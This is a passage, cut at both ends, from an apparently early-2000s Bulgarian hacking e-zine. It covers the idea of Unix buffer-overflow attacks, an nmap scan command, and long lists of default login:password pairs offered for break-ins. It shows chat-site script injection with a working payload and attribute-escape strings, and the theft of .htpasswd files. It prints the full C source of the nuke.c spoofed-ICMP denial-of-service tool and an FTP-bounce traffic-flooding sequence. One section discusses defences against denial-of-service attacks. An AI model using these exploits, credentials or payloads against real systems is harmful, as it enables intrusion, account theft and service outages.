по-лесно. Ако някой се е дисканектнал от системата без предварително да я е предупредил за приключване работата на сесията (множество примери logoff), то неговия достъп остава в работно състояние и е много лесно с малко усилие направо да получиш достъп до системата. В дадената ситуация е възможно извикване към системата с присъединяване към висящия TTY. Редултатът е влизане в системана и получаване на логин на даден достъп. Този бъг в системата се използва от много методи на взлом. Главното е навреме да се излезне от системата  ))&lt;br /&gt;  По-нататък искам да предложа на user&#39;ите още един не много известен способ buffer overflow, който вече е успял да стане достатъчно популярен в тесния кръг на &quot;тъмния свят&quot;. В стека на програмите се извежда място под масива. Ако ти раздуеш дадения масив и после записваш в него в рамките на неговите граници, то този стек умира в страшни гърчове, т.е. осъществяват се неблагоприятни действия и терминация на самия стек. В частност при напускането на модула произтича преход към длучаен адрес. За изменение на нормалния ход на изпълнение на програмата може да се използва препълване на стека в резултат, на което ще се яви изменение на адреса ва възврата на функцията. Значи не е лошо да се използва прогромо за изпълнение на каквито и да е нестандартни действия, като стартиране на шел spawn при наличие на необходимия код. Но се случва и така, че програмата не го съдържа, т.е. не съдържа кода на адресното пространство на инструкциите. В дадения случай трябва да се направи следното: да се постави кода за изпълнение в прпълващия се буфер, да измени адреса на прехода в точка вътре в буфера. Sell code - код който се изпълнява при стартирането на шел. Получаваш Root shell, ако програмата за стартиране на шел се инсталира като SUID. Разбра ли? Това е всичко! Танци до припадък  &lt;br /&gt;  Сега ще се занимаем с търсене на програми с възможности за срив на стека. Кой ли нен ни е казвал, че С с нищо не може да провери границите на масивите данни, значи чакаме препълване  ))&lt;br /&gt;  Буферното препълване произтича от записаната в него информация с размери по-големи от колкото могат да се поместят в самия буфер. Библиотеката С включва в себе си за предоставяне на функцията копиране, но няма възможност за проверка на границата [sprintf, strcat, strcpy: ()] (за благото на масите). Функциите проверяват за прпълване при обработка на приеманите редове - използват се редове със символи \ (). Функцията gets() чете редове със стандартно въвеждане, т.е. stdin в буфера до забрава, докато не види символа за край на файла EOF или символа за нов ред. Тя също няма възможност за проверка на буферното препълване. Същата участ чака функциите от клас sccanf() в условията на преминаването на малки редове при изпълняването им. Често използвана конструкция е цикълът на посимволно въвеждане от stdin или понякога файла от буфера , до тогава докато не бъде срещнат EOL, EOF (символи за край на ред или файл съответно) или друг разделител. Тук много често се използват функциите функции getc(), fgetc() и getchar(). И отново ако не се осъществи проверка за препълване -&gt; ПреПъЛваНе на БуФеРа!&lt;br /&gt;  Дадените уязвими места в системата се откриват при използването на greg програми - това са програми значително облекчаващи само търсене. Unix като система на бъдещето е длъжен да знае всеки и най-вече нейните разпространители, тъй като в действителност съществуват свободно достъпни в net&#39;а източници на freeware&#39;ни ОС, имащи чисто комерчески характер. Внимателно, хора!&lt;br /&gt;  Взлом с използване на демони, окачени на портовете, е един от двата най-популярни вида взлом. Като правило много хора позволяват демони да съществуват в техните системи, поставени там от недоброжелатели.Започвайки със sendmail&#39;а можем да намерим доста прилично количество фригидни демони за осъществяване на взлом. Идентификацията на демоните на портовете е просто необходима при взлом чрез telnet. За изясняване на версията на демоните е необходимо да се telnet&#39;неш на съответния открит порт на хоста, предварително извикани с помощта на програмата nmap (rulez,мой ибор!). Затова трябва да се направи следното:&lt;br /&gt;nmap -sS -O -o x.log x.com (х-името на домейна)&lt;br /&gt;  Ясно като бял ден, че има хора, които щателно следят своята система и действият в нея, но има и такива, които просто са занемарили всичко това и най-вече защитата. По такъв начин може да се досетите за отсъствие на необходимите корекции при дефолтовото инсталиране на системата и съответно съществуването на акаунти по подразбиране, които след смяната на няколко администратора просто не се изменят. Може това да ви звучи странно, но повярвайте ми, аз често се натъквам на уязвимост от подобен род. Огромно количество системи те пускат чрез логин по подразбиране root:root. Това съвсем ме &quot;утрепа&quot;!в някои дори са направени /etc/issue и issue.net на някакво извращение от рода на &quot;Достъпът е резрешен само за момчетата от BackstreetBoys или N`Sync&quot;. Ако искате вярвайте, ако искате - , но към такъв &quot;умник&quot; аз някак си се tel&#39;нетнах), а пропускат по guest:guest и същия този root. По-надолу съм предоставил някои обичайни идентификационни имена и пароли (принципът е Login:Password). Започвам с VAX/VMS: &lt;br /&gt;SYSTEM:OPERATOR, SYSTEM:MANAGER, SYSTEM:SYSTEM, SYSTEM:SYSLIB, OPERATOR:OPERATOR, SYSTEST:UETP, SYSTEST:SYSTEST, SYSTEST:TEST, SYSMAINT:SYSMAINT, SYSMAINT:SERVICE, SYSMAINT:DIGITAL, FIELD:FIELD, FIELD:SERVICE, GUEST:GUEST&lt;br /&gt;  А също и най-елементарните акаунти (принципът е същия):&lt;br /&gt;root:root, root:system, sys:sys, sys:system, daemon:daemon, uucp:uucp, tty:tty, test:test, unix:unix, unix:test, bin:bin, adm:adm, adm:admin, admin:adm, admin:admin, sysman:sysman, sysman:sys, sysman:system, sysadmin:sysadmin, sysadmin:sys, sysadmin:system, sysadmin:admin, sysadmin:adm, who:who, learn:learn, uuhost:uuhost, guest:guest, host:host, nuucp:nuucp, rje:rje, games:games, games:player, sysop:sysop, root:sysop, demo:demo&lt;br /&gt;  Виждаш как висчко е променливо в Unix? Тези акаунти ще ти помогнат още дълго. И както се казва: &quot;If you wanna feel OK-&gt; hack my UNIX everyday!&quot;. Статията не е инструкции за експлоатация, а служи за нагледен пример като демонстрация на администраторите за несъстоятелността на защитата на Unix системата&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Взлом на HTML чат&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Основата на интерфейса практически на всеки чат е съставен от динамически генерирани HTML-форми свързани помежду си посредством javascript. Във всички чатове името на ползватели и паролата (или някакъв идентификатор, който се генерира при входа от ползвателя) се съхраняват вътре във формата в качеството на скрит (hidden) елемент и могат да се изтеглят от там посредством скрипт. Да заставиш някой от посетителите на чата да изпълни своя javascript може само по пътя на получаване на пълен контрол над него - да кажете фраза от негово име или да издадете неговата парола.&lt;br /&gt;  За човек, знаещ основите на HTML и Javascript не е трудно да проникне в структурата на чат интерфейса, но виж да промъкнеш в тази структура троянски скрипт - ето това вече е проблем.&lt;br /&gt;  В най-простия случай, когато набираният от вас текст се показва в прозореца на чата &quot;както си е&quot; - без какъвто и да е контрол, вие просто въвеждате текста на вашия скрипт. Ако възникне проблем с ограничение дължината на реда, разделете скрипта на няколко кратки функции.&lt;br /&gt;  Но в повечето чатове все пак има проверка, която не позволява да се въвеждат &quot;опасни&quot; тагове в това число и &lt;script&gt;, освен ако не са забранени таговете въобще. Но в повечето случаи има начини да се избегне това. Освен тага &lt;script&gt; има и други изглеждащи безобидни тагове &lt;A&gt;, &lt;IMG&gt; &lt;FORM&gt; и други, които позволяват да се зададе URL като javascript или да даде отклик на обекта на събитието: OnClick, OnMouseOver и др.&lt;br /&gt;  Освен това таговете могат да се проверяват в основния прозорец на чата, но не се контролират при въвеждане на информацията за ползвателя. И може да се постави скрипт, например в информацията за тебе. Тогава този участник в чата, който е имал неблагоразумието да разгледа вашата информация, ще получи вместо нея вашия скрипт. Например, по-долу поместената информация е за скрипт, намиращ се в личната информация и успешно е работил на чат Copris (сега този чат е закрит, така че смело мога да дам тази информация):&lt;br /&gt;&lt;script&gt;&lt;br /&gt;for( I=1 ; I&lt;=11 ; I++ ){&lt;br /&gt;if( I==1 ) alert( &quot;Какво ти трябва?????&quot; );&lt;br /&gt;else alert( &quot;А тя &quot; + ( (I==11)? &quot;последен&quot; : I ) + &quot;питам какво - ти трябва???&quot; );&lt;br /&gt;}&lt;br /&gt;alert(&quot;а тук всичко е равно на ника...&quot;);&lt;br /&gt;top.frames[&#39;Inform&#39;].document.forms[0].Accent.options[31].selected = 1;&lt;br /&gt;top.frames[&#39;Inform&#39;].document.forms[0].Announce.value = &quot;Аз те обичам, 3APA3A!&quot;;&lt;br /&gt;top.frames[&#39;Inform&#39;].document.forms[0].submit();&lt;br /&gt;top.frames[&#39;Dark&#39;].document.forms[2].submit();&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;  Този безобиден скрипт дава alert (сигнал) към посетителя, след което помества признание в любов към ЗАРАЗА от името на посетителя в общия прозорец на чата. Това стимулира останалите посетители да разгледат личната информация на ЗАРАЗА. Скриптът може да се усъвършенства, например да се изпраща в личната парола на посетителя, която се съхранява във вид на скрит елемент във всеки фрейм. Освен това може да се напише нещо от типа на вирус, който например да изменя името на ползвателя със ЗАРАЗА и да му поставя съответна парола. По такъв начин може да се зарази всеки участник от чата. За да се измени скрипта по такъв начин, че да се изпраща в личната парола на посетителя и да го превръща в ЗАРАЗА (при това всичките му съобщения ще излизат от името на ЗАРАЗА, но съобщенията за нея няма да може да вижда), трябва само да се допълнят пет реда на javascript (три на първото действие и два на второто).&lt;br /&gt;  Подобни дупки има в много чатове, където на посетителя му позволяват да избира цвят или размер на текста. Като правило въвежданото значение за цвета не се проверява. Направо или по пътя на модификация на страницата, като я съхраните на диска (в това число дори и ако цвета предлага да не се въвежда, а да се избере от приложените), може например, в качеството на цвят вместо любимия &#39;black&#39; да се зададе &#39;&gt;&lt;script&#39; (ако тагът се пише в чата като &lt;FONT COLOR=black&gt;). Ако се пишат кавички (COLOR=&quot;black&quot;), то задачата малко се усложнява - трябва все пак да ги неутрализирате, например &#39;&quot;&gt;&lt;script p=&quot;&#39;.&lt;br /&gt;  Като правило, типа на шрифта се указва непосредствено преди да се въведе фраза от посетителя. Така че, в своята фраза вие вече смело можете да напишете какъвто и да е скрипт!!! Така вече имаме възможност да пуснем Javascript в общия прозорец на чата, което открива неограничени възможност…) Но, трябва да отбележа, че за да вмъкнете закриващ таг, също може да е доста трудно, а без този скрипт няма да работи. Впрочем, понякога просто се случва скрипта да се вмъкне в COLOR изцяло.&lt;br /&gt;  И накрая, съществуват няколко начина за просто похищаване на парола от чата. Ако чатът е разположен на сървър apache и проверява имената на ползвателите по файл htpasswd (при това вашият браузър издава прозорец с предложение за въвеждане на име и парола за достъп към ресурсите), то винаги има вероятност нехаен администратор да го сложи в достъпен каталог. Може за това да се възползвате от URL от типа http://www.somechat.com/chat/.htpasswd. Точното разположение на файла може да разберете открадвайки файл .htaccess от дадената директория. Това обикновено не става. Но често може да ви се отдаде да вземете негово копие, което е останало от последното редактиране на файла, например например http://www.somechat.com/chat/.htaccess~ или http://www.somechat.com/chat/.htaccess.old (в този случай, ако копието на този файл е любезно оставено от администратора).&lt;br /&gt;  Ако чатът е разположен на Майкрософтски сървър и използва ODBC за достъп до базата данни с пароли, то може да се опитате да откраднете файла от базата, например, ако тя има формат Microsoft Access и се съхранява в същия този каталог, то тогава ще е доста лесно да се досетите за името й и така да получите пълна информация за всички ползватели, заедно с паролите  &lt;br /&gt;  Трябва веднага да отбележа, че почти всичко по-горе казано се отнася не само за HTML-чатове, но и за други WEB-услуги, такива като страница за обявления (WWW-boards) или книга за гостите (Guestbooks).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Механизъм на защита от DoS атаки&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  В минал брой ви запознахме с типовете DoS атаки - такива използващи грешки в реализацията на стека TCP/IP протокола и други отправени към препърнените ресурси на системата и приложенията й.&lt;br /&gt;  Рецепта за ефективна защита от такива атаки за съжаление не съществува. Но могет да се предприемат някои мерки за снижаване на заплахата от такива атаки.&lt;br /&gt;  Проблемът с блокирането на каналите на връзката и маршрутизаторите ефективно може да бъде решен само на ниво провайдор. Най-напред може да се използва механизма &quot;контрол на качествата на сервиза&quot; (Quality of Service). Съвремените технически средства позваляват да се раздели гарантираната ширина на каналите на всеки отделен сервиз. Приемането на такива ограничения може да повлияе на използването на жизнено важни протоколи, например DNS в случай на установяване на максимална ширина на канала за UDP пакети. Освен това ограничението ширината на канала за UDP силно ще повреди или даже блокира работата на многочислените мултимедийни протоколи, а също и телефонните. От двете злини се избира по-малката.&lt;br /&gt;  Друг способ за борба е установяване на фиртри на IP адресните истобници в случай на откриване на атака на този хост. При това не трябва да се забравя, че установяването на подробни филтри не винаги може да помогне, тъй като информацията в заглавките на пакетите може лесно да се подправи.&lt;br /&gt;Механизмът за контрол на пропускванията се поддържа от Cisco рутери. Съществува не лоша реализация на такова обезпечение за FreeBSD и Linux. Следва да отбележим, че за протокола TCP средствата на рутера Cisco се оказват недостатъчни, тъй като за ефективна защита рутерът трябва за изследва състоянието на всяка преминаваща през него връзка, което е недопустимо за магистрален маршрутизатор. &lt;br /&gt;  Един от способите за борба с фиртрация на вътрешния трафик (из вътрешната мрежа в Интернет), в който се използват подменени IP адреси (адреси, които не се отнасят към вътрешната мрежа). Такъв способ се използва доста често, тъй като в пове&lt;br /&gt;Ето случаи за атака се използва само първоначален SYN пакет, а обратният трафик (който не достиге до хоста на изпрощача) не играе рола.&lt;br /&gt;  Още един механизъм за повишение &quot;животоспособността&quot; на провайдора се явява използването на последните различни магистрални канали (multihome), които позволяват автоматически в случай, че един от каналите излезне от строя да се превключи на друг. Ефективна борба с такъв тип DoS атаки може да има само при щателен контрол на използването на всички основни мрежови ресурси. След печално известния взлом на сървъра на Yahoo и CNN FBI поело под свое наблюдение голямо количество мрежи с САЩ (особено в edu домейн).&lt;br /&gt;  Разбира се ползвателите не са в състояние да повлияят на пропусквателната способност на каналите на провойдора. При извършване на такава атака над даден ползвател голяма роля ще изиграе доброто взаимоотношение с провайдора, който може бързо да установи съответстващите филтри и да включи статистически запис (от гледна точка на икономия на дисково пространство такава статистика се записва само при необходимост).&lt;br /&gt;  Защита от атаки използващи грешки в стека TCP/IP, като правило, се състои в своевременното получаване на информация за уязвимите места и в установяване на пачове (или корекция на конфигурацията). В почощ може да е установяването ва междумрежов екран, който е в състояние да забрани достъпа до мрежата на много такива опасни пакети.&lt;br /&gt;  Защита от атаки, основани на препълване на ресурсите на системата или приложенията се състои в правилния избор на ресурсите на системата. За съжаление голяма част от обслужването на сървърните компоненти и операционната система не обезпечават контрола на количествата връзки в един адрес. От това може да се възползва атакуващия, създавайки няколко хиляди връзки със сървъра (законни от гледна точка на политиката на достъп). Като правило такава атака довежда до пълна блокировка на обслужването, а в някои случаи и на работата на съръвъра. Ако в тази атака са замесени няколко машини (източници на връзки), то последствията ще бъдат преди всичко печални. В тази ситуация единствената надежда на грамотния администратор, предвиждащ достатъчно запас на производителността на апаратната част, ресурсите и ядрото, е в скоростта на обработка на запитванията на връзките и поведението на приложенията. Ако скоростта на работа е голама, ядрото съдържа достатъчно отделено място, а приложенията отблъскват връзките, превишаващи максималния лимит, то сървърът е в състояние да устои на такава атака.&lt;br /&gt;  За да се бориш с DoS атаки е необходимо да умееш да ги откриваш. Това далеч не е тривиална задача - много сервизи протоколират само осъществяването на връзката. Например, при използването на популярния Web-сървър APACHE може нищо и да не се открие на пръв поглед, тъй като там се изобразяват само получените запитвания. Така докато сървърът не получи от клиента нещо от рода на GET/ в логовете нищо не се вижда, докато в същото време връзката ще просъществува достатъчно дълго, заемайки своя ред в ограничената по обем системна таблица.&lt;br /&gt;Отделно трябва да се каже за системите откриващи атаките (IDS - Intrusion Detection Systems). В днешно време съществуват достатъчно много комерчески системи, които позволяват да се откриват такива атаки по целия ред принципи. Понякога IDS се интегрира с междумрежови екрани и рутери. Опасността от такава &quot;интеграция&quot; е трудно да се прецени - тя дава възможност на злоумишленика да застави междумрежовия екран да филтрира трафика от &quot;честната&quot; мрежа. За съжаление да се протестира срещу ефективността на IDS (в болшинството не много евтини) не му е времето сега. Но очевидно е, че възможността за събиране и анализ на подозрителния мрежов трафик сножава времето за реакция на службите по безопасност и позволява с минимално закъснение да се предприемат съответните мерки.&lt;br /&gt;  Правейки равностметка на по-горе казаното би могло да се каже, че не трябва напълно да си защитен срещу атаки &quot;отказ в обслужването&quot;. Но може да се намали вероятността на успешните атаки или времето, необходимо за възстановяване на нормалната работа и достъпа до системата.&lt;br /&gt;  За това могат да бъдат полезни няколко препоръки:&lt;br /&gt;  Привличане на сериозни технически специалисти в областта на информационната обезпеченост за по-сложната работа (избор на система за защита, нейната настройка, информационно обслужване, анализ на статистика на взлома (ако има такъв)).&lt;br /&gt;  По възможност използване на по-широки канали за връзка с провайдора.&lt;br /&gt;  Използване на &quot;сериозен&quot; провайдор с добри канали (желателно е няколко), грамотно и бързо отговарящи на запитванията в помощ на администратора.&lt;br /&gt;  Използване на надеждна и ефективна операционна система от страна на сървъра, не се паддавайте на графичния интерфейс, а на провереното.&lt;br /&gt;  Използване на квалифициран системен администратор, работещ за безопасността.&lt;br /&gt;  Наличие на междумрежов екран с достатъчна производителност и добри технически характеристики.&lt;br /&gt;NUKE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  С nuke днес се обобщаватпочти всички атаки към портовете на отдалечени компютри, ковеждащи до забиване на системата или разпадане на връзката с интернет. Nuke&#39;ът ненарушава състоянието на файловата система и няма да повреди &quot;желязото&quot; ви &lt;br /&gt;  След рестартиране на системата си вие можете отново да влезете в нет и да продължите работата си в системата. &lt;br /&gt;Всичко започнало с изходният код, който бил написан на С и се наричал nuke.c. Атаката неполучила широко разпространение, тъй като можела да работи само на UNIX системи с root права, използвайки RAW_SOCET. Идеята на nuke.c се състояла в това, че тя изпращала невалидни (invalid) ICMP пакети и машината-хост загубвала връзката. През януари 1997 г. се появила атака под името Ping o&quot;Death, и 18 от най-използваните операционни системи се оказали доста чувствителни към нея. Може би първата по-известна атака станала Out Of Band (WinNuke). На 7. 06. 1997 г., някакъв по име &quot;_eci&quot; за пръв път пюбликувал в нета изходният код. В течение на 15 дни, специалистите на Microsoft отстранявали дирите оставени из нета на епидемията на сините екрани. Тази епидемия не е угаснала и до днес. Атаката Out Of Band (OOB) основана натова, че порт 139 за Win (135 порт WinNT) не е затворен и изпращайки към него пакет данни с флаг на заглавката ООВ, може да се провокира забиване на системата и поява на син екран  Още небили утихнали радговорите за ООВ и се появила нова напаст с името Ssping (Jolt). При тази атака на адреса на хоста се изпращат подправени TCP/IP пакети, които довеждат до забавяне на работата и разпадане на връзката. Тази атака не била толкова летална като ООВ, но също можела да доведе до много неприятности. В началото на юли 1997 г. на арената се появила Fragmentation Attack (Teardrop), тя се основавала на изпращането на IP пакети с неправилна дължина, които атакуваният компютър неможел да съедини и забивал. В началото на декември същата година се появила атака под името Land.Методите и били сходни с методите на SSPing с едно малко изключение - програмите справящи се с SSPing били безсилни. През януари следващата година се появили Bonk и Bonik - модификации на TearDrop, основаващи се на несформирана UDP информация на заглавките на IP пакети. След зачестилите атаки от такав род Microsoft пуска упдейти, които да помогнат на user&#39;ите. За жалост по-голямата част от тях така и не се възползвали &lt;br /&gt;  Разплатата за небрежността станала през ноща на 2 към 3 март 1998 г., когато неизвестен злоумишленик извел от строя хиляди WINDOWS-машини в САЩ именно с такава атака. Сред пострадалите били NASA и Масачузетският технологичен университет. Често атаките се комбинират. Например, Land &amp; IP Spoofing, нападащата страна многократно провокира с лъжливи съобщения, но в качеството на обратен адрес указва измислен. Потакъв начин възниква полуоткрито съединение (half-open connections). При определено количество на такива съединения сървърът не е в състояние да открива повече. В болшинството случаи сървърът-жертва забележимо забазя работата си &lt;br /&gt;NUKE.C &lt;br /&gt;    Трябва да бъде с root права, за да отвори raw sockets.Тази версия ще &quot;убие&quot; почти всяка IP връзка.    ВНИМАНИЕ:  Софтуерът е доста опасен и притежанието му не е препоръчително! Опасно е от гледна точка на изкушението да направите истинска атака с него. Просто прочетете и се поучете, това е всичко!!! #include &lt;netdb.h&gt; #include &lt;sys/time.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #include &lt;netinet/in.h&gt; #include &lt;netinet/in_systm.h&gt; #include &lt;netinet/ip.h&gt; #include &lt;netinet/ip_icmp.h&gt; #include &lt;netinet/tcp.h&gt; #include &lt;signal.h&gt; #include &lt;errno.h&gt; #include &lt;string.h&gt; #include &lt;stdio.h&gt; #define DEFAULT_UNREACH ICMP_UNREACH_PORT  char *icmp_unreach_type[] = { &quot;net&quot;, &quot;host&quot;, &quot;protocol&quot;, &quot;port&quot;, &quot;frag&quot;, &quot;source&quot;, &quot;destnet&quot;, &quot;desthost&quot;, &quot;isolated&quot;, &quot;authnet&quot;, &quot;authhost&quot;, &quot;netsvc&quot;, &quot;hostsvc&quot; }; #define MAX_ICMP_UNREACH (sizeof(icmp_unreach_type)/sizeof(char *)) int resolve_unreach_type(arg) char *arg; { int i; for (i=0; i &lt;MAX_ICMP_UNREACH; i++) { if (!strcmp(arg,icmp_unreach_type[i])) return i; } return -1; } int resolve_host (host,sa) char *host; struct sockaddr_in *sa; { struct hostent *ent ; bzero(sa,sizeof(struct sockaddr));  sa-&gt;sin_family = AF_INET; if (inet_addr(host) == -1) { ent = gethostbyname(host); if (ent != NULL) { sa-&gt;sin_family = ent-&gt;h_addrtype; bcopy(ent-&gt;h_addr,(caddr_t)&amp;sa-&gt;sin_addr,ent-&gt;h_length); return(0); } else { fprintf(stderr,&quot;error: unknown host %s\n&quot;,host); return(-1); } } return(0); } in_cksum(addr, len) /* от ping.c */ u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0;  *Представеният алгоритъм е прост, използва 32 битен суматор (sum). Към него прибавяме следващите 16 бита думи и накрая прехвърляме обратно всичките пренесени битове от горните 16 бита в по-долните 16. while( nleft &gt; 1 ) { sum += *w++; nleft -= 2; }  *Изтрийте нечетните байтове, ако е необходимо. if( nleft == 1 ) { *(u_char *)(&amp;answer) = *(u_char *)w ; sum += answer; } * Прибаветe обратно пренесените от горните 16 бита в долните  sum = (sum &gt;&gt; 16) + (sum &amp; 0xffff); /* прибавяне на hi 16 в low 16 */ sum += (sum &gt;&gt; 16); /* прибавяне на преноса*/ answer = ~sum; /* съкращаване до 16 бита */ return (answer); } int icmp_unreach(host,uhost,port,type) char *host,*uhost; int type,port; { struct sockaddr_in name; struct sockaddr dest,uspoof; struct icmp *mp; struct tcphdr *tp; struct protoent *proto;  int i,s,rc; char *buf = (char *) malloc(sizeof(struct icmp)+64); mp = (struct icmp *) buf; if (resolve_host(host,&amp;dest) &lt;0) return(-1); if (resolve_host(uhost,&amp;uspoof) &lt;0) return(-1); if ((proto = getprotobyname(&quot;icmp&quot;)) == NULL) { fputs(&quot;unable to determine protocol number of \&quot;icmp\n&quot;,stderr); return(-1); } if ((s = socket(AF_INET,SOCK_RAW,proto-&gt;p_proto)) &lt;0 ) { perror(&quot;opening raw socket&quot;); return(-1); }  * Установяване на порт name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(port);  * Прикачване към порт rc = bind(s, (struct sockaddr *) &amp; name, sizeof(name)); if (rc == -1) { perror(&quot;bind&quot;); return(-1); } if ((proto = getprotobyname(&quot;tcp&quot;)) == NULL) { fputs(&quot;unable to determine protocol number of \&quot;icmp\n&quot;,stderr); return(-1); } bzero(mp,sizeof(struct icmp)+64); mp-&gt;icmp_type = ICMP_UNREACH; mp-&gt;icmp_code = type; mp-&gt;icmp_ip.ip_v = IPVERSION; mp-&gt;icmp_ip.ip_hl = 5; mp-&gt;icmp_ip.ip_len = htons(sizeof(struct ip)+64+20); mp-&gt;icmp_ip.ip_p = IPPROTO_TCP; mp-&gt;icmp_ip.ip_src = ((struct sockaddr_in *) &amp;dest)-&gt;sin_addr; mp-&gt;icmp_ip.ip_dst = ((struct sockaddr_in *) &amp;uspoof)-&gt;sin_addr; mp-&gt;icmp_ip.ip_ttl = 179; mp-&gt;icmp_cksum = 0; tp = (struct tcphdr *) ((char *) &amp;mp-&gt;icmp_ip+sizeof(struct ip)); tp-&gt;th_sport = 23; tp-&gt;th_dport = htons(port); tp-&gt;th_seq = htonl(0x275624F2); mp-&gt;icmp_cksum = htons(in_cksum(mp,sizeof(struct icmp)+64)); if ((i= sendto(s,buf,sizeof(struct icmp)+64, 0,&amp;dest,sizeof(dest))) &lt;0 ) { perror(&quot;sending icmp packet&quot;); return(-1); } return(0); } void main(argc,argv) int argc; char **argv; { int i, type;  if ((argc &lt;4) || (argc &gt;5)) { fprintf(stderr,&quot;usage: nuke host uhost port [unreach_type]\n&quot;);  exit(1); } if (argc == 4) type = DEFAULT_UNREACH; else type = resolve_unreach_type(argv[4]); if ((type &lt;0) ||(type &gt;MAX_ICMP_UNREACH)) { fputs(&quot;invalid unreachable type&quot;,stderr); exit(1); } if (icmp_unreach(argv[1],argv[2],atoi(argv[3]),type) &lt;0) exit(1); exit(0); } &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SPAM&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  &quot;СПАМ - трафик&quot; или тънкостите на работа на протокола FTP.&lt;br /&gt;  За никой не е тайта, че в днешно време Интернет се развива особено бурно. Много малки фирми и организации вече не само поместват в мрежата свои страници, но и правят свои internet-сървъри. Като следствие от това се появиха значително количество хора, които не се явяват професионелни администратори. Месля си, че тази статия ще е полезна именно на такива хора - начинаещи администратори на internet-сървърии ще се докосне до организацията на такава безобидна услуга като FTP.&lt;br /&gt;  Всички ползватели на Internet навярно някога в своя живот са се сблъсквали с понятие като СПАМ. В моята &quot;волна трактовка&quot; СПАМ може да се опраделе като генериране на никому ненужен mail трафик. Трафикът може да бъде не само mail. За &quot;неmail&#39;ов СПАМ&quot; може да се използва добрата стара услуга - FTP. &lt;br /&gt;  Общоизвестно е, че протокола FTP осигурява предаването на двоични и текстови файлове от и на FTP-сървъри. FTP-сървър може да бъде както компютър с Unix (Linux), така и компютър под Windows NT, на който работи FTP-сървър. Искам от сега да кажа, че тук няма да става дума за взлом на FTP-сървъри и всичко по-долу казано е в следствие на работа на малко документираните възможностти на протокола FTP. В болшинството компютърна литература не е указано, че FTP осигурява също възмжгността за предаване на файлове не пряко между сървъри.&lt;br /&gt;  Разбирам, че в този момент много &quot;опитни&quot; user&#39;и ще ми се изсмеят за това, че дадения факт е общоизвестен, за това както казах по-горе тази статия е написана специално за начинаещи.&lt;br /&gt;  Ще се докоснем именно до тях. Многократно сме споменавали, че давайки на анонмни ползватели на сървъра правото за запис ние правим своя сървър потенциално уязвим. В такава ситуация е напълно възможно някакъв шегаджия от мрежата да генерира значителен трафик от някакъв достатъчно мощен сървър към вашия злочест FTP-сървър. За жалост е напълно възможно (ако разбира се вие не сте ограничили трафика си  Естествено това не смъртоносно, но е твърде неприятно, ще ни се наложе да плащаме на някого за ненужния &quot;СПАМ&quot;, ще ни се неложи да плащаме и то прилично - ето това е обратната страна на скопостния достъп в Internet  &lt;br /&gt;  За това,че да разберем как става всичко това на практика е необходимо от близо да разгледаме работат на FTP протокола.&lt;br /&gt;  И така теория:&lt;br /&gt;  Когато клиент FTP се свързва с FTP-сървър се създава така таречената управляема връзка. Всъщност тя е обичаен сеанс telnet в режим NVT. Клиентът отправя команда към сървъра чрез управляемата връзка, а сървърът връща отговора по същата.&lt;br /&gt;  Когато ползватерят забрани препращането на файла се открива оделна връзка з предаването на данни и по нея се изпраща файла. Обикновено сървърът използва порт 21 за управляемата връзка и порт 20 за връзката за препращане на данни.&lt;br /&gt;  При открити връзки за препращане на файлове клиента изпраща команда PORT, която идентифицира неговия IP-адрес (4 байта) и новия порт (2 байта), за да се използват тези значения при препращането на данни. Байтовете се преобразуват в десетичен формат и се разделят със зъпетаи. Например IP-адрес 128.36.4.22 ще бъде записан като 128,36,4,22, а порт 2613 - като 10,53.&lt;br /&gt;--&gt;PORT 128,36,4,22,10,53 &lt;br /&gt;200 PORT command successful&lt;br /&gt;  Сървърът открива връзка по указания адрес socket.&lt;br /&gt;Сценарият за връзката е такъв:&lt;br /&gt;  1. Локалният клиент получава новия порт и използва управляващата връзка за да съобщи на съвръра FTP номера на своя порт.&lt;br /&gt;  2. FTP-сървърът се смързва с новия порт на клиента.&lt;br /&gt;  3. Данните се предават.&lt;br /&gt;  4. Съединението се закрива.&lt;br /&gt;  Може да се използва и друг сценарий. Ако клиентът изпраща PASV, сървърът връща номера на порта и преминава към прослушване на установените връзки за данни от клиента. По-рано по-често се използваше команда PORT. Сега клиентът може да изпраща команда PASV за препращане на файлове през проста система на защита (firewall).&lt;br /&gt;  От казаното по-горе става ясно, че ако се създаде връзка с един сървър в пасивен режим, а с друг сървър в активен при това предавайки към тория сървър при открито съединени за препращане на данни вместо IP-адреса и порта FTP-клиента връща на първия сървър IP-адреса и порта за инициализирана връзка с клиента, образува се пряка връзка за предаване на данни между FTP-сървърите.&lt;br /&gt;Първи FTP-сървър:&lt;br /&gt;--&gt;PASV &lt;br /&gt;227 Entering Passive (x,x,x,x,7,254)&lt;br /&gt;Втори FTP-сървър:&lt;br /&gt;--&gt; PORT x,x,x,x,7,254 &lt;br /&gt;200 PORT Command successful&lt;br /&gt;  FTP-протоколът започва своята работа по генериране на &quot;съвършено ненужният&quot; за получателя трафик и може да се каже, че всичко отива към СПАМ  &lt;br /&gt;  Необходимо е да добавим, че за работата на по-горе казаното FTP-сървърите трябва да могат да работят в пасимен режим, а също да не проверяват съответствието на IP-адреса на FTP-клиента, иницииращ връзка с IP-адреса, фактически предаваем в командния ред. Ако първото условие се изпълнява практически повсеместно&lt;br /&gt;Атака на DNS&lt;br /&gt;Явявайки се един от основните елементи на инфраструктурата на 